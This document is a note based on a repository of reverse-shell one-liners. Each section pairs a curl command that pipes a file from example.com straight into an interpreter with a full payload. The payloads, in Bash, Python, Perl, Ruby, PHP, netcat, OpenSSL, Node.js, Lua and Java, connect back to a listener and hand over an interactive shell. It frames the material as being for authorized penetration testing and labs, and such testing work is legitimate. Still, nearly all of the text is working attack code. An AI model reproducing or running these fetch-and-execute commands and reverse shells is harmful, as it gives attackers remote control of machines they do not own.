Scope And Use
This note is based on my awesome-curl-reverseshell-oneliners repository. The pattern is simple: host a small payload file on a controlled HTTP server, fetch it with curl from an authorized test machine, and pipe or execute it with the correct interpreter.
These examples are intended for controlled lab work, internal training, exploit validation, and authorized security assessments. They should not be used against systems without explicit permission. In a real engagement, replace placeholder hosts and ports with approved infrastructure, document what was executed, and clean up payload files afterward.
Bash Reverse Shell
The Bash pattern uses curl to fetch a shell script and passes it directly to Bash. It is compact and useful in Linux labs where Bash and TCP redirection are available.
curl -s http://example.com/shell.sh | bash
# shell.sh
#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1Bash Reverse Shell Using mkfifo
The mkfifo pattern creates a named pipe and routes an interactive shell through Netcat. This is useful as an alternate pattern when direct Bash TCP redirection is not the path being tested.
curl -s http://example.com/shell_fifo.sh | bash
# shell_fifo.sh
#!/bin/bash
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/fPython 2 Reverse Shell
The Python 2 payload uses a TCP socket, duplicates the socket file descriptor over standard input, output, and error, then starts an interactive shell. It is mostly useful for older targets and compatibility testing.
curl -s http://example.com/shell_py2.py | python
# shell_py2.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 1234))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])Python 3 Reverse Shell
The Python 3 payload keeps the same structure as the Python 2 version but runs through python3. This is usually the more realistic interpreter on modern Linux hosts.
curl -s http://example.com/shell_py3.py | python3
# shell_py3.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 1234))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])Perl Reverse Shell
The Perl pattern is useful when Perl is present but Python is not. It opens a socket, maps the standard streams to the socket, and execs a shell.
curl -s http://example.com/shell.pl | perl
# shell.pl
#!/usr/bin/perl
use Socket;
$i="127.0.0.1";
$p=1234;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};Ruby Reverse Shell
The Ruby example opens a TCP socket and reads commands from the socket. It executes each command with Open3 and writes output back to the connection.
curl -s http://example.com/shell.rb | ruby
# shell.rb
#!/usr/bin/env ruby
require 'socket'
require 'open3'
def exec_cmd(cmd)
Open3.popen2e(cmd) do |stdin, stdout_and_stderr, wait_thr|
stdout_and_stderr.each do |line|
yield line
end
end
end
s = TCPSocket.open("127.0.0.1", 1234)
while (line = s.gets)
exec_cmd(line.chomp) do |output|
s.puts output
end
endPHP Reverse Shell
The PHP pattern is useful for web or CLI PHP contexts in a lab. It opens a socket and attaches a shell process to it through proc_open.
curl -s http://example.com/shell.php | php
# shell.php
<?php
$ip = '127.0.0.1';
$port = 1234;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>Netcat Reverse Shell
The Netcat example depends on a Netcat build that supports the -e option. Many modern builds remove or disable it, so this should be treated as a compatibility-specific pattern.
curl -s http://example.com/shell_nc.sh | bash
# shell_nc.sh
#!/bin/bash
nc -e /bin/sh 127.0.0.1 1234OpenSSL Reverse Shell
The OpenSSL pattern routes a shell through an SSL client connection and a named pipe. It is useful for testing encrypted callback behavior in a controlled lab.
curl -s http://example.com/shell_openssl.sh | bash
# shell_openssl.sh
#!/bin/bash
mkfifo /tmp/ssl; openssl s_client -quiet -connect 127.0.0.1:1234 < /tmp/ssl | /bin/sh > /tmp/ssl 2>&1; rm /tmp/sslNode.js Reverse Shell
The Node.js payload uses the net and child_process modules to connect back and pipe a spawned shell over the socket. It is useful when Node.js is available on a target lab system.
curl -s http://example.com/shell.js | node
# shell.js
(() => {
const net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
const client = new net.Socket();
client.connect(1234, "127.0.0.1", () => {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();Lua Reverse Shell
The Lua payload depends on LuaSocket. It receives commands from a TCP socket, runs them with io.popen, then sends the result back over the socket.
curl -s http://example.com/shell.lua | lua
# shell.lua
local host, port = "127.0.0.1", 1234
local socket = require("socket")
local tcp = socket.tcp()
tcp:connect(host, port)
while true do
local cmd = tcp:receive()
local handle = io.popen(cmd)
local result = handle:read("*a")
handle:close()
tcp:send(result)
endJava Reverse Shell
The Java pattern downloads source, compiles it, and runs it. It is heavier than interpreter-based examples, but useful for testing Java availability and compilation paths in a lab.
curl -s -o shell.java http://localhost/shell.java && javac shell.java | java shell
# shell.java
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class shell {
public static void main(String[] args) {
try {
Socket s = new Socket("127.0.0.1", 1234);
InputStream in = s.getInputStream();
OutputStream out = s.getOutputStream();
Process p = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();
InputStream pin = p.getInputStream();
OutputStream pout = p.getOutputStream();
while (!s.isClosed()) {
while (in.available() > 0) pout.write(in.read());
while (pin.available() > 0) out.write(pin.read());
out.flush();
pout.flush();
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}Operational Notes
The main operational idea is not the language. It is delivery control. The operator controls the hosted payload, the listener, the callback address, and the cleanup. In a safe lab, the callback address can remain loopback or a private test address. In an authorized assessment, it should point only to approved infrastructure.
For repeatable work, keep each payload file under version control, record the hash of what was served, capture listener timestamps, and remove temporary files after the test. When the goal is validation rather than persistence, the shortest safe proof is usually better than a complicated payload chain.